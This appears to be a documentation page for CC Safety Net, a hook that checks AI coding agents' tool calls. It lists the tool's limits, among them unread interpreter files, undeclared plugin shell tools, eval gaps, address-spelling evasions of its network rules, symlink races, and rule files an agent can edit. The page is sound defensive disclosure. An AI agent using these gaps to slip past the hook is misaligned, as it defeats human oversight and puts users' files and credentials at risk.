What can’t CC Safety Net protect against?
CC Safety Net checks supported tool calls before they run. It does not contain processes, filter network traffic, or see what a binary does internally. It protects only the credential files it recognizes plus the deny paths you add, and it never checks a command that bypasses an installed integration. For exfiltration, untrusted code, or complete containment, run it alongside a sandbox or operating-system permissions. Standard mode is best-effort for adversarial or dynamic input. Several limits below are relaxations that strict or paranoid mode closes, and this page says where.Agent-specific limits
Every integration blocks a call when CC Safety Net itself cannot finish analyzing it. When the hook process crashes, times out, or cannot start, or the plugin fails to load, the agent decides. “Allows the call” means a broken hook protects nothing. The table reflects each agent’s documentation or source code as of October 2026.Command-analysis limits
Behavior inside binaries
Command analysis sees only the command text.some-tool --task destructive-cleanup looks harmless, because CC Safety Net cannot inspect what an arbitrary binary does when it runs. Use a sandbox for that threat.
Unconfigured or opaque command proxies
CC Safety Net analyzes a tool that runs a command for you, such asrtk git reset --hard, only after you declare it a transparent wrapper. It cannot unwrap a proxy that rewrites or hides its child command, even when you declare it. In both cases only an incomplete fallback text scan may catch the command.
A plugin’s shell tool is unanalyzed until you declare it
CC Safety Net knows each supported agent’s own shell tools, but not the ones a community plugin adds. It never parses such a tool’scommand, so the dsh-ops plugin’s ops_bash running git reset --hard is allowed. Declare the tool as a community shell tool.
Only DeepSeek Harness warns about this, by telling the agent once per session. Other hosts say nothing.
eval and dynamic execution
Code a local command prints is not in the command text, so analysis cannot see it:bash -c and interpreter code arguments, but it cannot see what destructive.sh prints. It refuses a remote payload rather than reading it, so eval "$(curl …)" and curl … | python3 - block on the download itself. See eval and source of a generated command for what each level blocks.
Script files are read best effort
CC Safety Net reads the shell script behindsh x.sh, source x.sh, and ./x.sh, and blocks on a concrete rule match inside it. Analysis ends at the script’s first result, so an early line CC Safety Net cannot verify, such as an eval, hides whatever comes after it.
Interpreter files are never read, so python3 tool.py is allowed whatever the file does. A file can also change between the check and the run. Scripts run from a file covers the rules in full. For this threat, use a sandbox or operating-system permissions.
When CC Safety Net does not read the script
When CC Safety Net does not read the script
The outer command keeps its verdict when:
- The file is unreadable, larger than 256 KB, or not a regular file, or the command has already read 64 scripts.
- An earlier part of the same command may have written the path. CC Safety Net skips the read when it cannot pin down a
cpdestination.
Interpreter one-liners have parsing gaps
CC Safety Net scans the code passed to-c or -e for python, node, ruby, and perl. The long forms --eval, --execute, --print, and --require, and the --eval='code' form, may not be scanned. To block every interpreter one-liner whatever its flags, turn on paranoid interpreters.
Quotes in comments and code that only prints
Quotes in comments and code that only prints
In standard mode, a quote inside a comment can shift where string literals start, in every interpreter except Python. CC Safety Net skips a Python
# comment, so quotes and brackets in it change nothing. Strict mode is not affected.A native recursive delete of root or home matches on the code text, so it blocks even where the call runs nothing, as in python3 -c "print(\"shutil.rmtree('/')\")".PowerShell is read as a subset
CC Safety Net reads a conservative subset of PowerShell, not the full language. In theposix shell mode, the Remove-Item rules apply only inside a nested powershell or pwsh -Command script. In auto mode, ForEach-Object and Where-Object switch to the PowerShell reader, but their % and ? aliases do not. See PowerShell commands.
Windows Command Prompt and nested PowerShell
CC Safety Net reads acmd /c or cmd /k body with a text check, not a cmd parser. It can block a command that deletes nothing, such as cmd /c 'echo rmdir /s /q C:\'. It does not open a batch file the body runs or evaluate delayed expansion (!VAR!).
CC Safety Net reads a nested powershell or pwsh only in the shape described under Nested PowerShell scripts. It does not read a script run with -File or read from stdin, so pwsh -File cleanup.ps1 is allowed whatever the file does.
Out-of-scope protections
These limits need containment rather than command analysis. A sandbox covers most of them.Sensitive-path coverage is bounded
Secret protection blocks reads of a fixed set of credential files plus your deny paths. It is not a general read boundary:- CC Safety Net does not recognize a credential in a file whose name and extension are not on the list.
- Standard mode allows metadata-only checks such as
test -f .envand some shapes it counts as a mention. See What standard mode does not count as a read. Strict and paranoid block them. - Standard mode does not follow a name to a later read, so
python3 -c "for f in {'.env'}: print(open(f).read())"is allowed. Strict blocks it. secret_protection.enabled: falseinpolicy.jsonturns the whole stage off, deny paths included.
No complete filesystem containment
A denial stops one tool call. It does not enforce filesystem permissions. The catastrophic rules always apply, but for complete protection use operating-system permissions, a sandbox, or a write broker.Disk-tool coverage is a named list
The disk rules match named commands only. These run unchecked:
Add a custom rule for the tools your team uses.
No network layer
CC Safety Net makes no network requests while it checks a call and does not filter traffic. Two rules read the destination out of the command text. A request to a cloud metadata endpoint blocks at every level. Acurl or wget upload to a host that is not loopback blocks only in strict and paranoid. See Network commands.
Those rules match the options and hosts they name, not the connection. They miss a client not on the list, a decimal or hex spelling of the address, a DNS name that resolves to it, and a redirect to it. For domain allowlists, prompt-injection exfiltration, and container boundaries, use a sandbox’s network restrictions.
Symlink TOCTOU risk
CC Safety Net resolves symlinks when it classifies anrm -rf target, and the shell runs the rm afterwards. CC Safety Net does not catch a symlink repointed in between. No pre-execution hook can close this gap. Paranoid rm blocks more recursive deletes if you want a stricter stance.
Custom rule configuration is not tamper-resistant
Onlypolicy.json is protected from the agent. rule.json and rulebooks are ordinary files the runtime rereads on every tool call, so an agent that can write in the rules directory changes what is enforced on the next call. An edit to a vendored rulebook.json leaves no record and stays in force until the next rule update overwrites it.